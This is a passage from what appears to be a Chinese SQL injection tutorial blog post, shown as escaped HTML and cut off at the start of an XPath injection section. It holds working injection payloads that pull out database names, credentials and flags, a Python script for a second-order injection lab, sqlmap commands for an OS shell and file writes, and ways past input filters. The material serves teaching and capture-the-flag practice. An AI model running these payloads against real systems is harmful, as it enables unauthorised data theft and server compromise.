\u53c2\u6570\u53ef\u4ee5\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2<\/code><\/pre>\n<p>\u6784\u9020\u8bed\u53e5\u662f\u6570\u636e\u5e93\u62a5\u9519\uff0c\u6839\u636e\u62a5\u9519\u5224\u65ad\u662f\u5426\u5b58\u5728SQL\u6ce8\u5165<\/p>\n<h4>\u653b\u51fb\u65b9\u5f0f<\/h4>\n<h5>\u57fa\u7840\u77e5\u8bc6<\/h5>\n<p><code>information_schema<\/code>\uff1a<code>SCHEMATA<\/code>\u3001<code>TABLES<\/code>\u3001<code>COLUMNS<\/code><\/p>\n<ul>\n<li>SCHEMATA\uff1a\u5b58\u50a8\u7684\u5e93\u540d<\/li>\n<li>TABLES\uff1a\u8bb0\u5f55\u4e86\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d(TABLE_SCHEMA)\u548c\u8868\u540d(TABLE_NAME)<\/li>\n<li>COLUMNS\uff1a\u5b58\u50a8\u4e86\u8be5\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d(TABLE_SCHEMA)\u3001\u8868\u540d(TABLE_NAME)\u548c\u5b57\u6bb5\u540d(COLUMN_NAME)<\/li>\n<\/ul>\n<p><code>\u6ce8\u91ca\u7b26<\/code><\/p>\n<ul>\n<li><code>#<\/code>\uff1a\u6ce8\u91ca\u4ece#\u5b57\u7b26\u5230\u884c\u5c3e<\/li>\n<li><code>--<\/code>\uff1a\u6ce8\u91ca\u4ece\u2013\u5e8f\u5217\u5230\u884c\u5c3e\uff0c\u4f7f\u7528\u6ce8\u91ca\u65f6\uff0c\u540e\u9762\u9700\u8981\u8ddf\u4e00\u4e2a\u6216\u591a\u4e2a\u7a7a\u683c<\/li>\n<li><code>\/**\/<\/code>\uff1a\u6ce8\u91ca<code>\/**\/<\/code>\u4e2d\u95f4\u7684\u5b57\u7b26\uff0c\u82e5<code>\/**\/<\/code>\u4e2d\u95f4\u6709\u611f\u53f9\u53f7\uff0c\u5219\u6709\u7279\u6b8a\u610f\u4e49\uff0c\u5982<code>\/*\uff0155555,username*\/<\/code>\uff0c\u82e5mysql\u7248\u672c\u53f7\u9ad8\u4e8e\u6216\u7b49\u4e8e5.55.55\uff0c\u8bed\u53e5\u5c06\u4f1a\u88ab\u6267\u884c\uff0c\u5982\u679c\uff01\u540e\u9762\u4e0d\u52a0\u5165\u7248\u672c\u53f7\uff0cmysql\u5c06\u4f1a\u76f4\u63a5\u6267\u884cSQL\u8bed\u53e5<\/li>\n<\/ul>\n<h5>\u7c7b\u578b<\/h5>\n<p>SQL\u6ce8\u5165\u53ef\u5206\u4e3a\u5b57\u7b26\u578b\u548c\u6570\u5b57\u578b,\u5b57\u7b26\u578b\u6ce8\u5165\u8981\u6ce8\u610f\u5b57\u7b26\u4e32\u95ed\u5408\u95ee\u9898<br \/>\n\u6570\u5b57\u578b\u731c\u6d4bSQL\u8bed\u53e5\u4e3a<code>select * from table where id=8<\/code><br \/>\n\u5b57\u7b26\u578b\u731c\u6d4bSQL\u8bed\u53e5\u4e3a<code>select * from table where username=&#039;admin&#039;<\/code><\/p>\n<h5>Union\u6ce8\u5165<\/h5>\n<p>Mysql\u5141\u8bb8\u590d\u5408\u67e5\u8be2(\u591a\u4e2aSELECT\u8bed\u53e5\u5e76\u5217\u67e5\u8be2)\uff0c\u5e76\u5c06\u8fd4\u56de\u5355\u4e2a\u7ed3\u679c\u96c6\u3002\u8fd9\u4e9b\u7ec4\u5408\u67e5\u8be2\u901a\u5e38\u79f0\u4e3a\u5e76\u6216\u590d\u5408\u67e5\u8be2\u3002<\/p>\n<pre><code class=\"language-sql\">\/*\u6ce8\u5165\u5b58\u5728\u5224\u65ad*\/\n?id=1\n?id=1&#039;\n?id=1&#039; and 1=1 --+\n?id=1&#039; and 1=2 --+\n\n\/*\u5224\u65ad\u5b57\u6bb5\u6570*\/\n?id=1&#039; order by 3 --+\n\n\/*union\u67e5\u8be2\u5e93\u540d\u548c\u7528\u6237*\/\n?id=-1&#039; union select 1,database(),user() --+\n\/*\u67e5\u8be2\u8868\u540d*\/\n?id=-1&#039; union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=&#039;security&#039; ) --+\n\/*\u67e5\u8be2\u5b57\u6bb5*\/\n?id=-1&#039; union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=&#039;security&#039; and table_name=&#039;emails&#039; ) --+\n\/*\u67e5\u8be2\u6570\u636e*\/\nid=-1&#039; union select 1,database(),(select group_concat(id,email_id) from emails  ) --+\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h5>Bool\u76f2\u6ce8<\/h5>\n<p>\u5e03\u5c14\u76f2\u6ce8\u5c31\u662f\u6839\u636e\u9875\u9762\u8fd4\u56de\u7684true\u548cflase\u731c\u6d4b<\/p>\n<pre><code class=\"language-sql\">length(str)\uff1a\u8fd4\u56destr\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\nsubstr(str, pos, len)\uff1a\u5c06str\u4ecepos\u4f4d\u7f6e\u5f00\u59cb\u622a\u53d6len\u957f\u5ea6\u7684\u5b57\u7b26\u8fd4\u56de\u3002\u6ce8\u610f\u8fd9\u91cc\u7684pos\u4f4d\u7f6e\u662f\u4ece1\u5f00\u59cb\u7684\uff0c\u4e0d\u662f\u6570\u7ec4\u76840\u5f00\u59cb\nmid(str,pos,len):\u8ddf\u4e0a\u9762\u7684\u4e00\u6837\uff0c\u622a\u53d6\u5b57\u7b26\u4e32ascii(str)\uff1a\u8fd4\u56de\u5b57\u7b26\u4e32str\u7684\u6700\u5de6\u9762\u5b57\u7b26\u7684ASCII\u4ee3\u7801\u503c\nord(str):\u8fd4\u56deascii\u7801\nif(a,b,c) :a\u4e3a\u6761\u4ef6\uff0ca\u4e3atrue\uff0c\u8fd4\u56deb\uff0c\u5426\u5219\u8fd4\u56dec\uff0c\u5982if(1&gt;2,1,0),\u8fd4\u56de0\n\n\/*\u6ce8\u5165\u5b58\u5728\u5224\u65ad*\/\nid=1  \u663e\u793a\u6570\u636e\nid=1&#039; \u4e0d\u663e\u793a\u6570\u636e\n\n\/*\u6d4b\u8bd5\u6570\u636e\u5e93\u957f\u5ea6*\/\nid=1\u2019 and length(database())=1 --+\n\/*\u5224\u65ad\u6570\u636e\u5e93\u540d\uff0c\u7ed3\u5408burp cluster bomb\u7206\u7834*\/\nid=1&#039; and substr(database(),1,1)=&#039;s&#039; --+\n\/*\u7206\u8868\u540d*\/\nid=1&#039; and substr((select table_name from information_schema.tables where table_schema=&#039;security&#039; limit 0,1),1,1)=&#039;e&#039; --+\n\/*\u7206\u5b57\u6bb5\u540d*\/\nid=1&#039; and substr((select column_name from information_schema.columns where table_name=&#039;emails&#039; limit 0,1),1,1)=&#039;d&#039; --+\n\/*\u7206\u5b57\u6bb5\u5185\u5bb9*\/\nid=1&#039; and substr((select email_id from emails limit 0,1),1,1)=&#039;x&#039; --+\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h5>\u65f6\u95f4\u76f2\u6ce8<\/h5>\n<p>\u65f6\u95f4\u76f2\u6ce8\u548c\u5e03\u5c14\u76f2\u6ce8\u5f88\u50cf\uff0c\u9875\u9762\u4e0d\u8fd4\u56de\u4efb\u4f55\u4fe1\u606f\uff0c\u91c7\u7528\u5ef6\u8fdf\u51fd\u6570\u6839\u636e\u9875\u9762\u53cd\u5e94\u7684\u65f6\u95f4\u8fdb\u884c\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\u70b9<\/p>\n<pre><code class=\"language-sql\"># \u7206\u6570\u636e\u5e93\u957f\u5ea6\n?id=1&#039; and if(length(database())&gt;1,sleep(6),1) --+\n# \u7206\u6570\u636e\u5e93\u540d\n?id=1&#039; and if(substr(database(),1,1)=&#039;s&#039;,sleep(6),1) --+\n# \u7206\u8868\u540d\n?id=1&#039; and if(substr((select table_name from information_schema.tables where table_schema=&#039;security&#039; limit 0,1),1,1)=&#039;e&#039;,sleep(6),1) --+\n# \u7206\u5b57\u6bb5\u540d\n?id=1&#039; and if(substr((select column_name from information_schema.columns where table_name=&#039;emails&#039; limit 0,1),1,1)=&#039;d&#039;,sleep(6),1) --+\n# \u7206\u5b57\u6bb5\u5185\u5bb9\n?id=1&#039; and if(substr((select email_id from emails limit 0,1),1,1)=&#039;x&#039;,sleep(6),1) --+<\/code><\/pre>\n<h5>\u62a5\u9519\u6ce8\u5165<\/h5>\n<ul>\n<li>updataxml<\/li>\n<\/ul>\n<pre><code class=\"language-sql\">updatexml(Xml_document,Xpathstring,new_value)\n    Xml_document\uff1a\u76ee\u6807\u6587\u6863\n    Xpathstring\uff1a\u8def\u5f84\n    new_value\uff1a\u66f4\u65b0\u7684\u503c\n\n\u7206\u6570\u636e\u5e93\u540d\uff1a\nusername=1&#039; and updatexml(1,concat(0x7e,(database()),0x7e),1) --+\n\u7206\u6570\u636e\u5e93\u8868\u540d\uff1a\nusername=1&#039; and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+\n\u7206\u5b57\u6bb5\u540d\uff1a\nusername=1&#039; and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=&#039;security&#039; and table_name=&#039;users&#039;),0x7e),1) --+\n\u7206\u6570\u636e\u503c\uff1a\nusername=1&#039; and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+<\/code><\/pre>\n<ul>\n<li>extractvalue<\/li>\n<\/ul>\n<pre><code class=\"language-sql\">extractvalue(Xml_document,XMLstring)\n    Xml_document\uff1a\u76ee\u6807\u6587\u6863\n    Xpathstring\uff1aXML\u8def\u5f84\n\u7206\u6570\u636e\u5e93\u540d\uff1a\nusername=1&#039; union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+\n\u7206\u6570\u636e\u5e93\u8868\u540d\uff1a\nusername=1&#039; union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=&#039;test&#039;)))) --+\n\u7206\u5b57\u6bb5\u540d\uff1a\nusername=1&#039; union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=&#039;test&#039; and table_name=&#039;users&#039;))))--+\n\u7206\u6570\u636e\u503c\uff1a\nusername=1&#039; union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+<\/code><\/pre>\n<ul>\n<li>floor<\/li>\n<\/ul>\n<pre><code class=\"language-sql\">database()+floor(rand(0)*2)\u4f5c\u4e3a\u4e3b\u952e\uff0c\n\u7531\u4e8efloor(rand(0)*2)\u53ea\u4f1a\u4ea7\u751f0\u548c1\u4e24\u4e2a\u6570\u5b57\uff0c\u56e0\u6b64\u4e3b\u952e\u53ea\u53ef\u80fd\u4e3adatabase()+1\u548cdatabase()+0\n\u800ccount(*)\u4e0d\u53ea\u662f0\u548c1\uff0c\u63d2\u5165\u7684\u65f6\u5019\u4f1a\u51fa\u73b0\u4e3b\u952e\u91cd\u590d\uff0c\u66f4\u52a0\u8be6\u7ec6\u7684\u89c1\u53c2\u8003\u6587\u7ae0\n\n#\u7206\u6570\u636e\u540d\nusername=1&#039; and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) --+<\/code><\/pre>\n<h5>\u5806\u53e0\u6ce8\u5165<\/h5>\n<p>\u591a\u6761SQL\u8bed\u53e5\u4e00\u8d77\u6267\u884c\uff0c\u6bcf\u6761\u8bed\u53e5\u4e2d\u95f4\u7528<code>;<\/code>\u9694\u5f00<\/p>\n<pre><code class=\"language-sql\">username\uff1aaaa\npassword:bbb&#039;;insert into users(id,username,password) values(60,&#039;root&#039;,&#039;root&#039;)\n\n# SQLMAP\u8dd1\u8868\u5355\u6ce8\u5165\n\n--form\u6a21\u5f0f sqlmap.py -u &quot;ip\/login.php&quot; --form\nsqlmap.py -u &quot;ip\/login.php&quot; --data &quot;username=admin&amp;password=123123&quot; --flush-session\nsqlmap.py -r c:\\\u6570\u636e\u5305.txt<\/code><\/pre>\n<h5>\u4e8c\u6b21\u6ce8\u5165<\/h5>\n<p>\u5c06\u653b\u51fb\u8bed\u53e5\u5199\u5165\u6570\u636e\u5e93\uff0c\u7b49\u5f85\u5176\u4ed6\u529f\u80fd\u4ece\u6570\u636e\u5e93\u4e2d\u8c03\u7528\u653b\u51fb\u8bed\u53e5\uff0c\u5728\u5176\u4ed6\u529f\u80fd\u8bed\u53e5\u62fc\u63a5\u7684\u8fc7\u7a0b\u4e2d\u6ca1\u6709\u8fc7\u6ee4\u4e25\u683c\u4ece\u800c\u9020\u6210SQL\u6ce8\u5165<br \/>\n\u539f\u7406\uff1a<\/p>\n<blockquote>\n<p>\u653b\u51fb\u8005\u7b2c\u4e00\u6b21\u63d0\u4ea4\u6076\u610f\u8f93\u5165<br \/>\n\u6076\u610f\u8f93\u5165\u5b58\u5165\u6570\u636e\u5e93<br \/>\n\u653b\u51fb\u8005\u4e8c\u6b21\u63d0\u4ea4\u8f93\u5165<br \/>\n\u4e3a\u4e86\u54cd\u5e94\u7b2c\u4e8c\u6b21\u7684\u8f93\u5165\u7a0b\u5e8f\u67e5\u8be2\u6570\u636e\u5e93\u53d6\u51fa\u6076\u610f\u8f93\u5165\u6784\u9020SQL\u8bed\u53e5\u5f62\u6210\u4e8c\u6b21\u6ce8\u5165<\/p>\n<\/blockquote>\n<p>\u8d34\u4e2a\u811a\u672c\u81ea\u884c\u9886\u4f1a<\/p>\n<pre><code class=\"language-python\">import requests\nimport re\nregister_url = &#039;http:\/\/challenge-ea58755c8ac8a874.sandbox.ctfhub.com:10800\/register.php&#039;\nlogin_url = &#039;http:\/\/challenge-ea58755c8ac8a874.sandbox.ctfhub.com:10800\/login.php&#039;\n\nfor i in range(1, 100):\n    register_data = {\n        &#039;email&#039;: &#039;111@1234.com%d&#039; % i,\n        &#039;username&#039;: &quot;0&#039; + ascii(substr((select * from flag) from %d for 1)) + &#039;0&quot; % i,\n        &#039;password&#039;: &#039;admin&#039;\n    }\n    res = requests.post(url=register_url, data=register_data)\n\n    login_data = {\n        &#039;email&#039;: &#039;111@1234.com%d&#039; % i,\n        &#039;password&#039;: &#039;admin&#039;\n    }\n    res_ = requests.post(url=login_url, data=login_data)\n    code = re.search(r&#039;&lt;span class=&quot;user-name&quot;&gt;\\s*(\\d*)\\s*&lt;\/span&gt;&#039;, res_.text)\n    print(chr(int(code.group(1))), end=&#039;&#039;)\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h5>\u5bbd\u5b57\u8282\u6ce8\u5165<\/h5>\n<p>\u5bbd\u5b57\u8282\u6ce8\u5165\u662f\u901a\u8fc7\u7f16\u7801\u7ed5\u8fc7\u540e\u7aef\u4ee3\u7801\u7684\u9632\u5fa1\u63aa\u65bd\uff0c\u5217\u5982\u6b63\u5219\u8fc7\u6ee4\u548c\u8f6c\u4e49\u51fd\u6570\u8f6c\u4e49\u3002<\/p>\n<p>\u5ba2\u6237\u7aef\u91c7\u7528GBK\u7f16\u7801\u683c\u5f0f\uff0c\u6570\u636e\u5e93\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u8f6c\u4e49<code>\\<\/code>,\u8f6c\u4e49\u7b26<code>\\<\/code>\u7684\u7f16\u7801\u4e3a<code>%5c<\/code>\uff0c\u6dfb\u52a0\u7f16\u7801<code>%df<\/code>,\u7ec4\u6210<code>%df%5c<\/code>\uff0c\u6b64\u65f6\u7f16\u7801\u8868\u8fbe\u4e3a\u7e41\u4f53\u5b57<code>\u9023<\/code>\uff0c\u4ece\u800c\u7ed5\u8fc7\u8f6c\u4e49\u7b26\u8ba9<code>&#039;<\/code>\u9003\u9038\u3002<\/p>\n<pre><code class=\"language-sql\">?id=1%df%27 and 1=1 --+?id=1%df%27 and 1=2 --+\n?id=1%df%27 order by 4--+\n?id=-1%df%27 union select 1,database(),user() --+  #\u6ce8\u51fa\u6570\u636e\u5e93\u540d\u548c\u7528\u6237\n?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #\u67e5\u8be2\u8868\u540d\n?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #\u67e5\u8be2users\u4e2d\u7684\u5b57\u6bb5\u540d\n?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #\u53d6\u51fa\u4e00\u7ec4\u6570\u636e,\u53d6\u51fa\u5168\u90e8\u7528group_concat(username,password)<\/code><\/pre>\n<h5>Cookie\u6ce8\u5165<\/h5>\n<p>Cookie\u6ce8\u5165\u5c31\u662fCookie\u5904\u5b58\u5728\u6ce8\u5165\u70b9\uff0c\u540e\u7aef\u5bf9Cookie\u6ca1\u6709\u8fc7\u6ee4<\/p>\n<pre><code class=\"language-sql\">admin&#039; and 1=1 --+  #\u663e\u793a\u6570\u636eadmin&#039; and 1=2 --+  #\u4e0d\u663e\u793a\u6570\u636e\nadmin&#039; order by 3 --+\nad&#039; union select 1,database(),3  --+\nad&#039; union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=&#039;security&#039;),3  --+\nad&#039; union select 1,(select group_concat(column_name) from information_schema.columns where table_name=&#039;emails&#039;),3  --+\nad&#039; union select 1,(select group_concat(id,email_id) from emails),3  --+<\/code><\/pre>\n<h5>base64\u6ce8\u5165<\/h5>\n<p>\u548c\u5176\u4ed6\u6ce8\u5165\u4e00\u6837\uff0c\u591a\u4e86\u4e2abase64\u7f16\u7801\u89e3\u7801<\/p>\n<h5>http\u5934\u90e8\u6ce8\u5165<\/h5>\n<ul>\n<li>X-Forwarded-for\u6ce8\u5165<\/li>\n<li>referer\u6ce8\u5165<\/li>\n<li>User-Agent\u6ce8\u5165<\/li>\n<\/ul>\n<h5>Sqlmap\u6ce8\u5165<\/h5>\n<pre><code class=\"language-sql\">\/*union\u3001\u62a5\u9519\u3001\u5806\u53e0\u6ce8\u5165*\/\nsqlmap.py -u &quot;ip\/?id=1&quot; --batch -D security -T users -C id,password,username -dump\n\n#\u624b\u6ce8\u6b65\u9aa4\u548c\u5176\u4ed6\u7684\u4e00\u6837\uff0c\u4e0d\u8fc7\u8981\u628a\u6bcf\u6b21\u7684payload\u8fdb\u884c\u4e00\u6b21base64\u7f16\u7801\uff0c\u6ce8\u610f--+\u9700\u8981\u7279\u6b8a\u7b26\u53f7\u7f16\u7801\nsqlmap.py -u &quot;http:\/\/192.168.234.139\/sqli-labs\/Less-22\/index.php&quot; --cookie &quot;uname=YWRtaW4=&quot; --tamper base64encode.py --level 2  --batch --dbs\n\n# cookie\u6ce8\u5165\nsqlmap.py -u &quot;http:\/\/192.168.234.139\/sqli-labs\/Less-20\/index.php&quot; --cookie &quot;uname=admin&quot; --level 2 --batch -D security -T emails -C id,email_id -dump\n\n#http\u5934\u90e8\u6ce8\u5165\n# \u5728\u5305\u6570\u636e\u5bf9\u5e94\u4f4d\u7f6e\u6807\u6ce8*\nsqlmap.py -r 1.txt -batch -dbs\n\n--sql-shell    #\u6267\u884c\u6307\u5b9asql\u547d\u4ee4\n--file-read    #\u8bfb\u53d6\u6307\u5b9a\u6587\u4ef6\n--file-write   #\u5199\u5165\u672c\u5730\u6587\u4ef6(--file-write \/test\/test.txt --file-dest \/var\/www\/html\/1.txt;\u5c06\u672c\u5730\u7684test.txt\u6587\u4ef6\u5199\u5165\u5230\u76ee\u6807\u76841.txt)\n--file-dest    #\u8981\u5199\u5165\u7684\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84\n--os-cmd=id    #\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\n--os-shell     #\u7cfb\u7edf\u4ea4\u4e92shell\n--os-pwn       #\u53cd\u5f39shell(--os-pwn --msf-path=\/opt\/framework\/msf3\/)\n--msf-path=    #matesploit\u7edd\u5bf9\u8def\u5f84(--msf-path=\/opt\/framework\/msf3\/\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/4a4290aa99870c95fd511ba7e3a01c2d.png#pic_center\" alt=\"sqlmap\u5e38\u7528\u7ed5\u8fc7\u7a7a\u8fc7\u6ee4\u811a\u672c\" \/><\/p>\n<h4>\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<h5>\u7ed5\u8fc7\u7a7a\u683c\u8fc7\u6ee4<\/h5>\n<pre><code class=\"language-sql\">\u6ce8\u91ca\u7b26\u7ed5\u8fc7\u7a7a\u683c,\u6ce8\u91ca\u7b26\/**\/\u4ee3\u66ff\u7a7a\u683c\nselect\/**\/user,passwd\/**\/from\/**\/usrs; \n\u91c7\u7528\u62ec\u53f7\u4ee3\u66ff\u7a7a\u683c,\u65f6\u95f4\u76f2\u6ce8\u7528\u7684\u591a\nsleep(ascii(mid(database()from(1)for(1)))=109)\n%a0\u4ee3\u66ff\u7a7a\u683c\nsqlmap\u6709\u7ed5\u8fc7\u7a7a\u683c\u8fc7\u6ee4\u811a\u672c\n\u5f15\u53f7\u524d\u540e\u53ef\u4e0d\u52a0\u7a7a\u683c<\/code><\/pre>\n<h5>\u7ed5\u8fc7\u5f15\u53f7\u8fc7\u6ee4<\/h5>\n<pre><code class=\"language-sql\">\u5341\u516d\u8fdb\u5236\u7ed5\u8fc7\nselect group_concat(table_name) from information_schema.tables where table_schema=&#039;security&#039;;\n\nselect group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720<\/code><\/pre>\n<h5>\u7ed5\u8fc7\u9017\u53f7\u8fc7\u6ee4<\/h5>\n<pre><code class=\"language-sql\">from for\u7ed5\u8fc7\nselect substr(database(),1,1);\nselect substr(database() from 1 for 1);\noffset \u7ed5\u8fc7\nselect * from users limit 0,1;\nselect * from users limit 0 offset 1;<\/code><\/pre>\n<h5>\u7ed5\u8fc7\u6bd4\u8f83\u7b26\u53f7<code>&lt;<\/code>,<code>&gt;<\/code><\/h5>\n<p>\u4f7f\u7528\u51fd\u6570<code>greatest()<\/code>\u3001<code>least()<\/code>\uff0c<code>greatest()<\/code>\u8fd4\u56de\u6700\u5927\u503c\uff0c<code>least()<\/code>\u8fd4\u56de\u6700\u5c0f\u503c<\/p>\n<pre><code class=\"language-sql\">select * from usrs where id=1 and ascii(substr(database(),0,1))&gt;64;\nselect * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;<\/code><\/pre>\n<h5>\u7ed5\u8fc7<code>=<\/code>\u8fc7\u6ee4<\/h5>\n<p>like\u3001rlike\u3001regexp<\/p>\n<h5>\u7ed5\u8fc7\u6ce8\u91ca\u7b26\u8fc7\u6ee4<\/h5>\n<p>\u91ca\u7b26\u7684\u4f5c\u7528\u662f\u8fbe\u5230\u95ed\u5408\u7684\u6548\u679c\uff0c\u4f7f\u7528\u4ee3\u7801\u95ed\u5408\u7b26\u53f7\u4ee3\u66ff\u6ce8\u91ca\u7b26\u53f7<\/p>\n<h5>\u7ed5\u8fc7\u5173\u952e\u5b57\u8fc7\u6ee4<\/h5>\n<ul>\n<li>\n<p><del>\u4f7f\u7528\u6ce8\u91ca\u7b26\u7ed5\u8fc7<\/del> \uff08\u7ecf\u8fc7\u5b9e\u9a8c\uff0c\u4f1a\u51fa\u73b0\u8bed\u6cd5\u9519\u8bef\uff0c\u9884\u8ba1\u4f7f\u7528\u60c5\u51b5\u5e94\u8be5\u662f\u66ff\u6362\u6ce8\u91ca\u7b26\u4e3a\u7a7a\uff09<br \/>\n\u628a\u8981\u4f7f\u7528\u7684\u67e5\u8be2\u8bed\u53e5\u653e\u5728<code>\/**\/<\/code>\u4e2d\uff0c\u8fd9\u6837\u5728\u4e00\u822c\u7684\u6570\u636e\u5e93\u662f\u4e0d\u4f1a\u6267\u884c\u7684\uff0c\u4f46\u662f\u5728mysql\u4e2d\u5185\u8054\u6ce8\u91ca\u4e2d\u7684\u8bed\u53e5\u4f1a\u88ab\u6267\u884c\u3002<\/p>\n<blockquote>\n<p>\/\/\uff0c-- , \/<strong>\/, #, --+, \u2013 -, ;,%00,\u2013a sel\/<\/strong>\/ect * from users<br \/>\nun\/<strong>\/ion select passwd from emils wh\/<\/strong>\/ere limit 0,1;<\/p>\n<\/blockquote>\n<\/li>\n<li>\n<p>\u7ed5\u8fc7select\u8fc7\u6ee4\uff08\u914d\u5408\u5806\u53e0\u6ce8\u5165\uff09<\/p>\n<ul>\n<li>handler<\/li>\n<\/ul>\n<pre><code class=\"language-sql\">handler table_name open ... \/\/\u83b7\u53d6\u53e5\u67c4\nhandler ... read first \/\/\u8bfb\u53d6\u7b2c\u4e00\u884c\u6570\u636e \nhandler ... read next \/\/\u8bfb\u53d6\u4e0b\u4e00\u884c\u6570\u636e\n1';HANDLER \\<code>1919810931114514\\<\/code> OPEN;HANDLER \\<code>1919810931114514\\<\/code> READ FIRST;HANDLER \\<code>1919810931114514\\<\/code> CLOSE;#<\/code><\/pre>\n<ul>\n<li>\u66ff\u6362\u8868\u5230\u56de\u663e\u8868<\/li>\n<\/ul>\n<pre><code class=\"language-sql\">1';\nrename table <code>words<\/code> to <code>words1<\/code>;\nrename table <code>1919810931114514<\/code> to <code>words<\/code>;\nalter table <code>words<\/code> change <code>flag<\/code> <code>id<\/code> \nvarchar(100) character set utf8 collate utf8_general_ci not NULL;#<\/code><\/pre>\n<\/li>\n<li>\n<p>\u5927\u5c0f\u5199\u7ed5\u8fc7<\/p>\n<blockquote>\n<p>select * from users UnIon select passwd from emils WheRe limit 0,1;<\/p>\n<\/blockquote>\n<\/li>\n<li>\n<p>\u5185\u8054\u6ce8\u91ca\u7ed5\u8fc7<\/p>\n<blockquote>\n<p>select * from users \/<em>!union<\/em>\/ select passwd from emils \/<em>!where<\/em>\/ limit 0,1;<br \/>\n\/<em>!version expr<\/em>\/\u8868\u793a\u7248\u672c\u9ad8\u4e8eversion\uff0cexpr\u4f1a\u6267\u884c<\/p>\n<\/blockquote>\n<\/li>\n<li>\n<p>\u53cc\u5199\u7ed5\u8fc7<\/p>\n<blockquote>\n<p>select * from users unUnionion select passwd from emils where limit 0,1;<\/p>\n<\/blockquote>\n<\/li>\n<li>\n<p>\u9884\u5904\u7406\u8bed\u53e5\u914d\u5408\u5806\u53e0\u6ce8\u5165\u7ed5\u8fc7<\/p>\n<blockquote>\n<p>SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#<\/p>\n<\/blockquote>\n<\/li>\n<li>\n<p>\u7279\u6b8a\u7f16\u7801\u7ed5\u8fc7<\/p>\n<ul>\n<li>\u5341\u516d\u8fdb\u5236<\/li>\n<\/ul>\n<blockquote>\n<p>select * from users where username = 0x7a68616e677961;<\/p>\n<\/blockquote>\n<ul>\n<li>Ascii\u7f16\u7801<\/li>\n<\/ul>\n<blockquote>\n<p>select * from users where username = concat(char(49),char(49));<\/p>\n<\/blockquote>\n<\/li>\n<\/ul>\n<h4>\u53c2\u8003\u6587\u7ae0<\/h4>\n<p><a href=\"https:\/\/www.cnblogs.com\/peace-and-romance\/p\/15890387.html#0x00-%E5%BC%95%E8%A8%80\" target=\"_blank\"  rel=\"nofollow\" >SQL\u6ce8\u5165(\u5de8\u8be6\u89e3)<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/he_and\/article\/details\/80455884?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-80455884-blog-118995223.pc_relevant_multi_platform_whitelistv3&amp;spm=1001.2101.3001.4242.1&amp;utm_relevant_index=3\" target=\"_blank\"  rel=\"nofollow\" >sql\u6ce8\u5165\u62a5\u9519\u6ce8\u5165\u539f\u7406\u89e3\u6790<\/a><\/p>\n<h3>0x06 Xpath\u6ce8\u5165<\/h3>\n<h4>\u6f0f\u6d1e\u539f\u7406<\/h4>\n<p>XPath \u6ce8\u5165\u5229\u7528 XPath \u89e3\u6790\u5668\u7684\u677e\u6563\u8f93\u5165\u548c\u5bb9\u9519\u7279\u6027\uff0c\u80fd\u591f\u5728 URL\u3001\u8868\u5355\u6216\u5176\u5b83\u4fe1\u606f\u4e0a\u9644\u5e26\u6076\u610f\u7684 XPath \u67e5\u8be2\u4ee3\u7801\uff0c\u4ee5\u83b7\u5f97\u9ad8\u6743\u9650\u4fe1\u606f\u7684\u8bbf\u95ee\u6743\u3002<\/p>\n<p>XPath\u6ce8\u5165\u7c7b\u4f3c\u4e8eSQL\u6ce8\u5165\uff0c\u5f53\u7f51\u7ad9\u4f7f\u7528\u672a\u7ecf\u6b63\u786e\u5904\u7406\u7684\u7528\u6237\u8f93\u5165\u67e5\u8be2 XML \u6570\u636e\u65f6\uff0c\u53ef\u80fd\u53d1\u751f XPATH 